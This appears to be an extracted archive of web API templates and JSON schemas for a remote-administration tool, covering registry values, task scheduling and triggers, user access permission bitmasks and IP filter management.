		usemacro CHECKREQPARAM.EXIST(REQ.KEY, "Registry Key", "REGISTRYKEY")

		set REQ.OP="delval"
		if not REQ.NAME
			set REQ.NAME=""
		endif

		action "regedit"

		usemacro ERRORHANDLER()
	endswitch


	action "reglist"

	usemacro ERRORHANDLER()
?>{
	"result": {
		"name": "#KEY.NAME#",
		"path": "#KEY.PATH#",
		"values": [<?
	if VALUES
		usemacro CommaInit()
		enum VALUES
			usemacro CommaDo() ?>
			{
				"name": "#VALUE.NAME#",
				"type": "#VALUE.TYPE#",
				"size": #VALUE.SIZE#, 
				"data": "#VALUE.DATA#"
			}<?
		next
	endif
?> ]},
	"lang": {}
}
S2api\registry\value.schema;Ϙ{
	"result": {
		"name": { "_type": "string" },
		"path": { "_type": "string" } ,
		"values": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"type": { "_type": "string" },
				"size": { "_type": "number" }, 
				"data": { "_type": "string" }
			}
		}
	},
	"lang": {}
}10api\remctrl\remctrl.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	
	//action "remctrl"
	action "remctrl2"
	usemacro ERRORHANDLER()

?>
{
	"result": {"code": "ok", "message": "Successful Operation"}, 
	"lang":{}
}
&<api\scheduling\pro2alerts.json4<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NORA()
	usemacro NOMAC()
	usemacro NOFREE()
	
	action "websvcalertlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"alerts": [
	    <?if WEBSVCALERTS
	    	usemacro CommaInit()
			enum WEBSVCALERTS
				usemacro CommaDo()?>
				{					    
					"desc": "#ALERT.DESC#",
					"condition": "#ALERT.CONDITION#",
					"action": "#ALERT.ACTION#"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}}v:-@api\scheduling\pro2alerts.schema{
	"result": {

		"alerts" : {
			"_type": "array",
			"_element": {
				"desc": { "_type": "string" },
				"condition": { "_type": "string" },
				"action": { "_type": "string" }
			}
		}
			
	},
	"lang": {}
}
W*8api\scheduling\taskinfo.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.TASK,"task name","ADMIN.SCHEDULE.TASK")
	
	if REQ.HTTPMETHOD == "PUT"
		action "taskadd"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "POST"
		action "taskadd"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "DELETE"
		action "taskdel"
		usemacro ERRORHANDLER()
	endif
	
	action "taskinfo"
	usemacro ERRORHANDLER()

?>{"result": {

	"task": "#TASK.NAME#",
	"shortname": "#TASK.SHORTNAME#",
	"status": "#TASK.STATUS#",
	"comment": "#TASK.COMMENT#",
	"triggers": <?usemacro NUMBER(TASK.TRIGGERS)?>,
	"lastrun": <?usemacro FORMAT.DTMS(TASK.LASTRUN)?>,
	"lastrun_ago": <?usemacro FORMAT.AGO(TASK.LASTRUN)?>,
	"nextrun": <?usemacro FORMAT.DTMS(TASK.NEXTRUN)?>,
	"nextrun_in": <?usemacro FORMAT.IN(TASK.NEXTRUN)?>,
	"exitcode": "<?usemacro NUMBER(TASK.EXITCODE)?>",
	"creator": "#TASK.CREATOR#",
	"maxtime": <?usemacro NUMBER(TASK.MAXTIME)?>,
	"schedule": "#TASK.SCHEDULE#",
	"name": "#TASK.APP.NAME#",
	"path": "#TASK.APP.PATH#",
	"args": "#TASK.APP.ARGS#",
	"dir": "#TASK.APP.DIR#",
	"user": "#TASK.APP.USER#",
	"enabled": <?usemacro BOOL(TASK.ENABLED)?>,
	"dropdone": <?usemacro BOOL(TASK.DROPDONE)?>,
	"interact": <?usemacro BOOL(TASK.INTERACT)?>,
	"onlyifon": <?usemacro BOOL(TASK.ONLYIFON)?>,
	"hidden": <?usemacro BOOL(TASK.HIDDEN)?>,
	"idleonly": <?usemacro BOOL(TASK.IDLEONLY)?>,
	"idlekill": <?usemacro BOOL(TASK.IDLEKILL)?>,
	"battskip": <?usemacro BOOL(TASK.BATTSKIP)?>,
	"battkill": <?usemacro BOOL(TASK.BATTKILL)?>
	
},
"lang":{}
}
3<api\scheduling\taskinfo.schemam{
	"result": {

		"task": { "_type": "string" },
		"shortname": { "_type": "string" },
		"status": { "_type": "string" },
		"comment": { "_type": "string" },
		"triggers": { "_type": "number" },
		"lastrun": { "_type": "string" },
		"lastrun_ago": { "_type": "string" },
		"nextrun": { "_type": "string" },
		"nextrun_in": { "_type": "string" },
		"exitcode": { "_type": "string" },
		"creator": { "_type": "string" },
		"maxtime": { "_type": "number" },
		"schedule": { "_type": "string" },
		"name": { "_type": "string" },
		"path": { "_type": "string" },
		"args": { "_type": "string" },
		"dir": { "_type": "string" },
		"user": { "_type": "string" },
		"enabled": { "_type": "bool" },
		"dropdone": { "_type": "bool" },
		"interact": { "_type": "bool" },
		"onlyifon": { "_type": "bool" },
		"hidden": { "_type": "bool" },
		"idleonly": { "_type": "bool" },
		"idlekill": { "_type": "bool" },
		"battskip": { "_type": "bool" },
		"battkill": { "_type": "bool" }
			
	},
	"lang": {}
}
Bapi\scheduling\taskscheduler.json!<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.TASK,"task name","ADMIN.SCHEDULE.TASK")
		action "taskadd"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "POST"
		usemacro CHECKREQPARAM.EXIST(REQ.TASK,"task name","ADMIN.SCHEDULE.TASK")
		action "taskadd"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.TASK,"task name","ADMIN.SCHEDULE.TASK")
		action "taskdel"
		usemacro ERRORHANDLER()
	endif
	
	action "tasklist"
	usemacro ERRORHANDLER()

?>{"result": {

	"tasks": [
	    <?if TASKS
	    	usemacro CommaInit()
			enum TASKS
				usemacro CommaDo()?>
				{					    
					"name": "#TASK.NAME#",
					"shortname": "#TASK.SHORTNAME#",
					"status": "#TASK.STATUS#",
					"comment": "#TASK.COMMENT#",
					"triggers": <?usemacro NUMBER(TASK.TRIGGERS)?>,
					"lastrun": <?usemacro FORMAT.DTMS(TASK.LASTRUN)?>,
					"lastrun_ago": <?usemacro FORMAT.AGO(TASK.LASTRUN)?>,
					"nextrun": <?usemacro FORMAT.DTMS(TASK.NEXTRUN)?>,
					"nextrun_in": <?usemacro FORMAT.IN(TASK.NEXTRUN)?>,
					"exitcode": "#TASK.EXITCODE#",
					"creator": "#TASK.CREATOR#",
					"maxtime": <?usemacro NUMBER(TASK.MAXTIME)?>,
					"schedule": "#TASK.SCHEDULE#",
					"app_name": "#TASK.APP.NAME#",
					"app_path": "#TASK.APP.PATH#",
					"app_args": "#TASK.APP.ARGS#",
					"app_dir": "#TASK.APP.DIR#",
					"app_user": "#TASK.APP.USER#",
					"enabled": <?usemacro BOOL(TASK.ENABLED)?>,
					"dropdone": <?usemacro BOOL(TASK.DROPDONE)?>,
					"interact": <?usemacro BOOL(TASK.INTERACT)?>,
					"onlyifon": <?usemacro BOOL(TASK.ONLYIFON)?>,
					"hidden": <?usemacro BOOL(TASK.HIDDEN)?>,
					"idleonly": <?usemacro BOOL(TASK.IDLEONLY)?>,
					"idlekill": <?usemacro BOOL(TASK.IDLEKILL)?>,
					"battskip": <?usemacro BOOL(TASK.BATTSKIP)?>,
					"battkill": <?usemacro BOOL(TASK.BATTKILL)?>
				}
			<?next
		endif?>		
	]	
			
},
"lang":{}
}
xJFapi\scheduling\taskscheduler.schema	{
	"result": {

		"tasks" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"shortname": { "_type": "string" },
				"status": { "_type": "string" },
				"comment": { "_type": "string" },
				"triggers": { "_type": "number" },
				"lastrun": { "_type": "string" },
				"lastrun_ago": { "_type": "string" },
				"nextrun": { "_type": "string" },
				"nextrun_in": { "_type": "string" },
				"exitcode": { "_type": "string" },
				"creator": { "_type": "string" },
				"maxtime": { "_type": "number" },
				"schedule": { "_type": "string" },
				"app_name": { "_type": "string" },
				"app_path": { "_type": "string" },
				"app_args": { "_type": "string" },
				"app_dir": { "_type": "string" },
				"app_user": { "_type": "string" },
				"enabled": { "_type": "bool" },
				"dropdone": { "_type": "bool" },
				"interact": { "_type": "bool" },
				"onlyifon": { "_type": "bool" },
				"hidden": { "_type": "bool" },
				"idleonly": { "_type": "bool" },
				"idlekill": { "_type": "bool" },
				"battskip": { "_type": "bool" },
				"battkill": { "_type": "bool" }
			}
		}							
			
	},
	"lang": {}
}
@api\scheduling\tasktriggers.jsonY0<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.TASK,"task name","ADMIN.SCHEDULE.TASK")
		
	if REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.TRIGGER,"trigger index","ADMIN.SCHEDULE.SCHED")
		action "trigset"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "POST"
		action "trigadd"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.TRIGGER,"trigger index","ADMIN.SCHEDULE.SCHED")
		action "trigdel"
		usemacro ERRORHANDLER()
	endif
	
	action "taskinfo"
	usemacro ERRORHANDLER()

?>{"result": {

	"triggers": [
	    <?if TRIGGERS
	    	usemacro CommaInit()
			enum TRIGGERS
				usemacro CommaDo()?>
				{					    
					"index": <?usemacro NUMBER(TRIGGER.INDEX)?>,
					"string": "#TRIGGER.STRING#",
					"enabled": <?usemacro BOOL(TRIGGER.ENABLED)?>,
					"sdate": "#TRIGGER.SDATE#",
					"syear": "#TRIGGER.SYEAR#",
					"smon": "#TRIGGER.SMON#",
					"sday": "#TRIGGER.SDAY#",
					"edate": "#TRIGGER.EDATE#",
					"eyear": "#TRIGGER.EYEAR#",
					"emon": "#TRIGGER.EMON#",
					"eday": "#TRIGGER.EDAY#",
					"hasenddate": <?usemacro BOOL(TRIGGER.HASENDDATE)?>,
					"hh": "#TRIGGER.HH#",
					"mm": "#TRIGGER.MM#",
					"repeat": <?usemacro NUMBER(TRIGGER.REPEAT)?>,
					"duration": <?usemacro NUMBER(TRIGGER.DURATION)?>,
					"dorepeat": <?usemacro BOOL(TRIGGER.DOREPEAT)?>,
					"kill": <?usemacro BOOL(TRIGGER.KILL)?>,
					"type": "#TRIGGER.TYPE#",
					"interval": <?usemacro NUMBER(TRIGGER.INTERVAL)?>,
					
					"days_str": "#TRIGGER.DAYS#",
					"daysofweek": {
						"daymon": <?usemacro HAS(TRIGGER.DAYS,"mon")?>, 
						"daytue": <?usemacro HAS(TRIGGER.DAYS,"tue")?>, 
						"daywed": <?usemacro HAS(TRIGGER.DAYS,"wed")?>, 
						"daythu": <?usemacro HAS(TRIGGER.DAYS,"thu")?>, 
						"dayfri": <?usemacro HAS(TRIGGER.DAYS,"fri")?>, 
						"daysat": <?usemacro HAS(TRIGGER.DAYS,"sat")?>, 
						"daysun": <?usemacro HAS(TRIGGER.DAYS,"sun")?> 
					},
					"daysofmonth": {
						"day01": <?usemacro HAS(TRIGGER.DAYS,"01")?>, 
						"day02": <?usemacro HAS(TRIGGER.DAYS,"02")?>, 
						"day03": <?usemacro HAS(TRIGGER.DAYS,"03")?>, 
						"day04": <?usemacro HAS(TRIGGER.DAYS,"04")?>, 
						"day05": <?usemacro HAS(TRIGGER.DAYS,"05")?>, 
						"day06": <?usemacro HAS(TRIGGER.DAYS,"06")?>, 
						"day07": <?usemacro HAS(TRIGGER.DAYS,"07")?>, 
						"day08": <?usemacro HAS(TRIGGER.DAYS,"08")?>, 
						"day09": <?usemacro HAS(TRIGGER.DAYS,"09")?>, 
						"day10": <?usemacro HAS(TRIGGER.DAYS,"10")?>, 
						"day11": <?usemacro HAS(TRIGGER.DAYS,"11")?>, 
						"day12": <?usemacro HAS(TRIGGER.DAYS,"12")?>, 
						"day13": <?usemacro HAS(TRIGGER.DAYS,"13")?>, 
						"day14": <?usemacro HAS(TRIGGER.DAYS,"14")?>, 
						"day15": <?usemacro HAS(TRIGGER.DAYS,"15")?>, 
						"day16": <?usemacro HAS(TRIGGER.DAYS,"16")?>, 
						"day17": <?usemacro HAS(TRIGGER.DAYS,"17")?>, 
						"day18": <?usemacro HAS(TRIGGER.DAYS,"18")?>, 
						"day19": <?usemacro HAS(TRIGGER.DAYS,"19")?>, 
						"day20": <?usemacro HAS(TRIGGER.DAYS,"20")?>, 
						"day21": <?usemacro HAS(TRIGGER.DAYS,"21")?>, 
						"day22": <?usemacro HAS(TRIGGER.DAYS,"22")?>, 
						"day23": <?usemacro HAS(TRIGGER.DAYS,"23")?>, 
						"day24": <?usemacro HAS(TRIGGER.DAYS,"24")?>, 
						"day25": <?usemacro HAS(TRIGGER.DAYS,"25")?>, 
						"day26": <?usemacro HAS(TRIGGER.DAYS,"26")?>, 
						"day27": <?usemacro HAS(TRIGGER.DAYS,"27")?>, 
						"day28": <?usemacro HAS(TRIGGER.DAYS,"28")?>, 
						"day29": <?usemacro HAS(TRIGGER.DAYS,"29")?>, 
						"day30": <?usemacro HAS(TRIGGER.DAYS,"30")?>, 
						"day31": <?usemacro HAS(TRIGGER.DAYS,"31")?> 
					},
					
					"months_str": "#TRIGGER.MONTHS#",
					"months": {
						"monjan": <?usemacro HAS(TRIGGER.MONTHS,"jan")?>, 
						"monfeb": <?usemacro HAS(TRIGGER.MONTHS,"feb")?>, 
						"monmar": <?usemacro HAS(TRIGGER.MONTHS,"mar")?>, 
						"monapr": <?usemacro HAS(TRIGGER.MONTHS,"apr")?>, 
						"monmay": <?usemacro HAS(TRIGGER.MONTHS,"may")?>, 
						"monjun": <?usemacro HAS(TRIGGER.MONTHS,"jun")?>, 
						"monjul": <?usemacro HAS(TRIGGER.MONTHS,"jul")?>, 
						"monaug": <?usemacro HAS(TRIGGER.MONTHS,"aug")?>, 
						"monsep": <?usemacro HAS(TRIGGER.MONTHS,"sep")?>, 
						"monoct": <?usemacro HAS(TRIGGER.MONTHS,"oct")?>, 
						"monnov": <?usemacro HAS(TRIGGER.MONTHS,"nov")?>, 
						"mondec": <?usemacro HAS(TRIGGER.MONTHS,"dec")?> 
					},
					
					"week": <?usemacro NUMBER(TRIGGER.WEEK)?> 
				}
			<?next
		endif?>		
	]	
			
},
"lang":{}
}
c\QDapi\scheduling\tasktriggers.schema`~{
	"result": {

		"triggers" : {
			"_type": "array",
			"_element": {
			    
				"index": { "_type": "number" },
				"string": { "_type": "string" },
				"enabled": { "_type": "bool" },
				"sdate": { "_type": "string" },
				"syear": { "_type": "string" },
				"smon": { "_type": "string" },
				"sday": { "_type": "string" },
				"edate": { "_type": "string" },
				"eyear": { "_type": "string" },
				"emon": { "_type": "string" },
				"eday": { "_type": "string" },
				"hasenddate": { "_type": "bool" },
				"hh": { "_type": "string" },
				"mm": { "_type": "string" },
				"repeat": { "_type": "number" },
				"duration": { "_type": "number" },
				"dorepeat": { "_type": "bool" },
				"kill": { "_type": "bool" },
				"type": { "_type": "string" },
				"interval": { "_type": "number" },
				
				"days_str": { "_type": "string" },
				"daysofweek": {
					"daymon": { "_type": "bool" },
					"daytue": { "_type": "bool" },
					"daywed": { "_type": "bool" },
					"daythu": { "_type": "bool" },
					"dayfri": { "_type": "bool" },
					"daysat": { "_type": "bool" },
					"daysun": { "_type": "bool" }
				},
				"daysofmonth": {
					"day01": { "_type": "bool" },
					"day02": { "_type": "bool" },
					"day03": { "_type": "bool" },
					"day04": { "_type": "bool" },
					"day05": { "_type": "bool" },
					"day06": { "_type": "bool" },
					"day07": { "_type": "bool" },
					"day08": { "_type": "bool" },
					"day09": { "_type": "bool" },
					"day10": { "_type": "bool" },
					"day11": { "_type": "bool" },
					"day12": { "_type": "bool" },
					"day13": { "_type": "bool" },
					"day14": { "_type": "bool" },
					"day15": { "_type": "bool" },
					"day16": { "_type": "bool" },
					"day17": { "_type": "bool" },
					"day18": { "_type": "bool" },
					"day19": { "_type": "bool" },
					"day20": { "_type": "bool" },
					"day21": { "_type": "bool" },
					"day22": { "_type": "bool" },
					"day23": { "_type": "bool" },
					"day24": { "_type": "bool" },
					"day25": { "_type": "bool" },
					"day26": { "_type": "bool" },
					"day27": { "_type": "bool" },
					"day28": { "_type": "bool" },
					"day29": { "_type": "bool" },
					"day30": { "_type": "bool" },
					"day31": { "_type": "bool" }
				},
				
				"months_str": { "_type": "string" },
				"months": {
					"monjan": { "_type": "bool" },
					"monfeb": { "_type": "bool" },
					"monmar": { "_type": "bool" },
					"monapr": { "_type": "bool" },
					"monmay": { "_type": "bool" },
					"monjun": { "_type": "bool" },
					"monjul": { "_type": "bool" },
					"monaug": { "_type": "bool" },
					"monsep": { "_type": "bool" },
					"monoct": { "_type": "bool" },
					"monnov": { "_type": "bool" },
					"mondec": { "_type": "bool" }
				},
				
				"week": { "_type": "number" }
			    
			}
		}							
			
	},
	"lang": {}
}
8Qs0api\security\access.jsoniJ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	//create mask params
	
	// Login
	if REQ.BASIC has " "
		set REQ.MASK1 = "1"
	endif
	
	// Configuration
	if REQ.CONFIGURE has "R"
		set REQ.MASK2 = "1"
	endif
	if REQ.CONFIGURE has "W"
		set REQ.MASK4 = "1"
	endif
	if REQ.CONFIGURE has "D"
		set REQ.MASK8 = "1"
	endif
	
	// Script
	if REQ.SCRIPT has "R"
		set REQ.MASK16 = "1"
	endif
	if REQ.SCRIPT has "W"
		set REQ.MASK32 = "1"
	endif
	if REQ.SCRIPT has "D"
		set REQ.MASK64 = "1"
	endif

	// Event viewer
	if REQ.EVENTVIEW has "R"
		set REQ.MASK128 = "1"
	endif
	if REQ.EVENTVIEW has "D"
		set REQ.MASK512 = "1"
	endif

	// File System
	if REQ.FILE has "R"
		set REQ.MASK1024 = "1"
	endif
	if REQ.FILE has "W"
		set REQ.MASK2048 = "1"
	endif
	if REQ.FILE has "D"
		set REQ.MASK4096 = "1"
	endif
	
	// Registry
	if REQ.REGISTRY has "R"
		set REQ.MASK8192 = "1"
	endif
	if REQ.REGISTRY has "W"
		set REQ.MASK16384 = "1"
	endif
	if REQ.REGISTRY has "D"
		set REQ.MASK32768 = "1"
	endif
	
	// Performance Data
	if REQ.PERFORMANCE has " "
		set REQ.MASK65536 = "1"
	endif
	
	// Processes
	if REQ.PROCESS has "R"
		set REQ.MASK131072 = "1"
	endif
	if REQ.PROCESS has "W"
		set REQ.MASK262144 = "1"
	endif
	if REQ.PROCESS has "D"
		set REQ.MASK524288 = "1"
	endif
	
	// Reboot
	if REQ.REBOOT has " "
		set REQ.MASK1048576 = "1"
	endif
	
	// Remote Control
	if REQ.RC has "R"
		set REQ.MASK2097152 = "1"
	endif
	if REQ.RC has "W"
		set REQ.MASK4194304 = "1"
	endif
	if REQ.RC has "D"
		set REQ.MASK68719476736 = "1"
	endif
	
	// Whiteboard
	if REQ.WHITEBOARD has " "
		set REQ.MASK549755813888 = "1"
	endif
	
	// Chat
	if REQ.CHAT has " "
		set REQ.MASK274877906944 = "1"
	endif
	
	// User/Group Accounts
	if REQ.ACCOUNTS has "R"
		set REQ.MASK8388608 = "1"
	endif
	if REQ.ACCOUNTS has "W"
		set REQ.MASK16777216 = "1"
	endif
	if REQ.ACCOUNTS has "D"
		set REQ.MASK33554432 = "1"
	endif
	
	// System Configuration
	if REQ.SYSCONFIG has "R"
		set REQ.MASK67108864 = "1"
	endif
	if REQ.SYSCONFIG has "W"
		set REQ.MASK134217728 = "1"
	endif
	if REQ.SYSCONFIG has "D"
		set REQ.MASK268435456 = "1"
	endif
	
	// SSH Shell
	if REQ.SSHSHELL has " "
		set REQ.MASK536870912 = "1"
	endif
	
	// SSH Port Forward
	if REQ.SSHPF has " "
		set REQ.MASK1073741824 = "1"
	endif
	
	// SSH Privileged Port Forward
	if REQ.SSHPRIVPF has " "
		set REQ.MASK2147483648 = "1"
	endif
	
	// SCP
	if REQ.SSHSCP has " "
		set REQ.MASK4294967296 = "1"
	endif
	
	// SFTP
	if REQ.SSHSFTP has " "
		set REQ.MASK8589934592 = "1"
	endif
	
	// Command Prompt
	if REQ.TELNETJAVA has " "
		set REQ.MASK17179869184 = "1"
	endif
	
	// Telnet
	if REQ.TELNET has " "
		set REQ.MASK34359738368 = "1"
	endif
	
	// Desktop Sharing
	if REQ.DESKINV has " "
		set REQ.MASK137438953472 = "1"
	endif
	
	// Full Access
	if REQ.FULL has "X"
		set REQ.MASKFULL = "1"
	endif


	if REQ.HTTPMETHOD == "POST" or REQ.HTTPMETHOD == "PUT"
	
		if not REQ.SID
			usemacro CHECKREQPARAM.EXIST(REQ.ACCNAME,"account name", "CONFIG.PERMISSIONS.USERNAME")
			set REQ.OP = "editnew"
			action "cfgperm"
			usemacro ERRORHANDLER()
			set REQ.SID = SID
		endif
		
		usemacro CHECKREQPARAM.EXIST(REQ.SID,"user sid", "USERSID")
		set REQ.OP = "updateentry"
		action "cfgperm"
		usemacro ERRORHANDLER()
		
	endif

	// call the action	
	usemacro CHECKREQPARAM.EXIST(REQ.SID,"user sid", "USERSID")
	set REQ.OP = "edit"
	action "cfgperm"
	usemacro ERRORHANDLER()

?>{"result": {

	"error": "#ERR#",
	
	"sid": "#SID#",	
	"name": "#ACCNAME#",
	"ipfilter": "#IPFILTER#",
	
	"full": "#PERMISSION.FULL#",
	"none": "#PERMISSION.NONE#",
	"basic": "#PERMISSION.BASIC#",
	"configure": "#PERMISSION.CONFIGURE#",
	"script": "#PERMISSION.SCRIPT#",
	"eventview": "#PERMISSION.EVENTVIEW#",
	"file": "#PERMISSION.FILE#",
	"registry": "#PERMISSION.REGISTRY#",
	"performance": "#PERMISSION.PERFORMANCE#",
	"process": "#PERMISSION.PROCESS#",
	"reboot": "#PERMISSION.REBOOT#",
	"rc": "#PERMISSION.RC#",
	"whiteboard": "#PERMISSION.WHITEBOARD#",
	"chat": "#PERMISSION.CHAT#",
	"accounts": "#PERMISSION.ACCOUNTS#",
	"sysconfig": "#PERMISSION.SYSCONFIG#",
	"sshshell": "#PERMISSION.SSHSHELL#",
	"sshpf": "#PERMISSION.SSHPF#",
	"sshprivpf": "#PERMISSION.SSHPRIVPF#",
	"sshscp": "#PERMISSION.SSHSCP#",
	"sshsftp": "#PERMISSION.SSHSFTP#",
	"telnetjava": "#PERMISSION.TELNETJAVA#",
	"telnet": "#PERMISSION.TELNET#",
	"deskinv": "#PERMISSION.DESKINV#",
	
	"forceui": <?usemacro BOOL(FORCEUI)?>,
	"sshstreamshell": <?usemacro BOOL(SSHSTREAMSHELL)?>,
			
	"ipfilters": [
	    <?if IPFILTERS
	    	usemacro CommaInit()
			enum IPFILTERS
				usemacro CommaDo()?>
				{					    
					"name": "#IPFILTER.NAME#",
					"selected": <?usemacro BOOL(IPFILTER.SELECTED)?>					
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
v:api\security\access_list.json	I<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	elseif REQ.HTTPMETHOD == "GET"
		set REQ.OP = ""
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.SID,"user sid","USERSID")
		set REQ.OP = "delete"
	endif
	
	action "cfgperm"
	usemacro ERRORHANDLER()

?>{"result": {

	"error": "#ERR#",

	"options" : {
	    
		"adminacc": <?usemacro BOOL(ADMINACC)?>,
		"adminacc_locked": <?usemacro BOOL(ADMINACC.LOCKED)?>,
		
		"ntlm": <?usemacro BOOL(NTLM)?>,
		"ntlm_locked": <?usemacro BOOL(NTLM.LOCKED)?>,
		
		"autologin": <?usemacro BOOL(AllowAutoLogin)?>,
		"autologin_locked": <?usemacro BOOL(EnableAutoLogin.LOCKED)?>,
		
		"user2cookie": <?usemacro BOOL(USER2COOKIE)?>,
		"user2cookie_locked": <?usemacro BOOL(USER2COOKIE.LOCKED)?>,
		
		"dontlistdomains": <?usemacro BOOL(DontListDomains)?>,
		"dontlistdomains_locked": <?usemacro BOOL(DontListDomains.LOCKED)?>,
		
		"enableoption": <?usemacro BOOL(ENABLEOPTION)?>,
		"enableoption_locked": <?usemacro BOOL(ENABLEOPTION.LOCKED)?>
		
	},
					
	"permissions": [
	    <?if PERMISSIONS
	    	usemacro CommaInit()
			enum PERMISSIONS
				usemacro CommaDo()?>
				{					    
					"name": "#PERMISSION.NAME#",
					"sid": "#PERMISSION.SID#",					
					
					"full": "#PERMISSION.FULL#",
					"none": "#PERMISSION.NONE#",
					"basic": "#PERMISSION.BASIC#",
					"configure": "#PERMISSION.CONFIGURE#",
					"script": "#PERMISSION.SCRIPT#",
					"eventview": "#PERMISSION.EVENTVIEW#",
					"file": "#PERMISSION.FILE#",
					"registry": "#PERMISSION.REGISTRY#",
					"performance": "#PERMISSION.PERFORMANCE#",
					"process": "#PERMISSION.PROCESS#",
					"reboot": "#PERMISSION.REBOOT#",
					"rc": "#PERMISSION.RC#",
					"whiteboard": "#PERMISSION.WHITEBOARD#",
					"chat": "#PERMISSION.CHAT#",
					"accounts": "#PERMISSION.ACCOUNTS#",
					"sysconfig": "#PERMISSION.SYSCONFIG#",
					"sshshell": "#PERMISSION.SSHSHELL#",
					"sshpf": "#PERMISSION.SSHPF#",
					"sshprivpf": "#PERMISSION.SSHPRIVPF#",
					"sshscp": "#PERMISSION.SSHSCP#",
					"sshsftp": "#PERMISSION.SSHSFTP#",
					"telnetjava": "#PERMISSION.TELNETJAVA#",
					"telnet": "#PERMISSION.TELNET#",
					"deskinv": "#PERMISSION.DESKINV#",
					"ipfilter": "#PERMISSION.IPFILTER#",
					"forceui": <?usemacro BOOL(FORCEUI)?>,
					"sshstreamshell": <?usemacro BOOL(SSHSTREAMSHELL)?>								
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
$>api\security\access_list.schemaU={
	"result": {
		"error": { "_type": "string" },

		"options" : {
			"adminacc": { "_type": "bool" },
			"adminacc_locked": { "_type": "bool" },
			
			"ntlm": { "_type": "bool" },
			"ntlm_locked": { "_type": "bool" },
			
			"autologin": { "_type": "bool" },
			"autologin_locked": { "_type": "bool" },
			
			"user2cookie": { "_type": "bool" },
			"user2cookie_locked": { "_type": "bool" },
			
			"dontlistdomains": { "_type": "bool" },
			"dontlistdomains_locked": { "_type": "bool" },
			
			"enableoption": { "_type": "bool" },
			"enableoption_locked": { "_type": "bool" }
		},

		"permissions" : {
			"_type": "array",
			"_element": {
					"name": { "_type": "string" },
					"sid": { "_type": "string" },					
					
					"full": { "_type": "string" },
					"none": { "_type": "string" },
					"basic": { "_type": "string" },
					"configure": { "_type": "string" },
					"script": { "_type": "string" },
					"eventview": { "_type": "string" },
					"file": { "_type": "string" },
					"registry": { "_type": "string" },
					"performance": { "_type": "string" },
					"process": { "_type": "string" },
					"reboot": { "_type": "string" },
					"rc": { "_type": "string" },
					"whiteboard": { "_type": "string" },
					"chat": { "_type": "string" },
					"accounts": { "_type": "string" },
					"sysconfig": { "_type": "string" },
					"sshshell": { "_type": "string" },
					"sshpf": { "_type": "string" },
					"sshprivpf": { "_type": "string" },
					"sshscp": { "_type": "string" },
					"sshsftp": { "_type": "string" },
					"telnetjava": { "_type": "string" },
					"telnet": { "_type": "string" },
					"deskinv": { "_type": "string" },
					"ipfilter": { "_type": "string" },
					"forceui": { "_type": "bool" },
					"sshstreamshell": { "_type": "bool" }
			}
		}							

	},
	"lang": {}
}
6api\security\ipfilters.jsoni<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	
	usemacro CHECKREQPARAM.EXIST(REQ.PROFILE,"profile name", "common_category.NAME")

	if REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.INDEX,"filter index","FILTERINDEX")
		usemacro CHECKREQPARAM(REQ.MOVE,"-up-,-down-","move direction","MOVEDIRECTION")
		set REQ.OP = "filter_" REQ.MOVE
	elseif REQ.HTTPMETHOD == "POST"
		usemacro CHECKREQPARAM.EXIST(REQ.ADDR,"filter addr","CONFIG.IPFILTER.ADDRESS")
		usemacro CHECKREQPARAM.EXIST(REQ.MASK,"filter mask","CONFIG.IPFILTER.SUBNET")
		usemacro CHECKREQPARAM.EXIST(REQ.ALLOW,"filter allow","common_category.TYPE")
		set REQ.OP = "filter_add"
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.INDEX,"filter index","FILTERINDEX")
		set REQ.OP = "filter_remove"
	endif

	action "cfgfilter"
	usemacro ERRORHANDLER()

?>{"result": {

	"profile": "#PROFILE#",	
					
	"filters": [
	    <?if FILTERS
	    	usemacro CommaInit()
			enum FILTERS
				usemacro CommaDo()?>
				{					    
					"allow": <?usemacro BOOL(FILTER.ALLOW)?>,
					"addr": "#FILTER.ADDR#",
					"mask": "#FILTER.MASK#"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
R:api\security\ipfilters.schema,{
	"result": {

		"profile": { "_type": "string" },
		
		"filters" : {
			"_type": "array",
			"_element": {
				"allow": { "_type": "bool" },
				"addr": { "_type": "string" },
				"mask": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
